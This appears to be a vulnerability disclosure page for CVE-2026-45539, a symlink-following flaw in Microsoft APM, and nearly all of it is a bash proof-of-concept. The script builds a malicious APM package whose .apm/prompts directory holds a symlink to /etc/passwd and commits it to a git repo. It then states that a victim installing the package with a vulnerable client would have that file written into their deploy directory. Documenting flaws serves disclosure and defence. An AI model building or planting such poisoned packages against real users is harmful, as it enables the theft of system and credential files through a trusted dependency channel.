CVE-2026-45539 Microsoft APM 符号链接跟随漏洞

#!/bin/bash # PoC for CVE-2026-45539: Microsoft APM Symlink Vulnerability # This script simulates creating a malicious APM package. MALICIOUS_DIR="malicious_apm_package" TARGET_FILE="/etc/passwd" # Target file to steal on the victim's machine # Create the directory structure required by APM mkdir -p "$MALICIOUS_DIR/.apm/prompts" # Create a symbolic link inside the prompts directory # This link will be followed by the vulnerable APM client ln -s "$TARGET_FILE" "$MALICIOUS_DIR/.apm/prompts/leak.prompt.md" # Initialize a git repo to simulate remote dependency cd "$MALICIOUS_DIR" git init git add -A git commit -m "PoC: Malicious package with symlink for CVE-2026-45539" echo "[+] Malicious package created at: $(pwd)" echo "[+] If a victim integrates this package using vulnerable Microsoft APM," echo "[+] the content of $TARGET_FILE will be written to their deploy directory."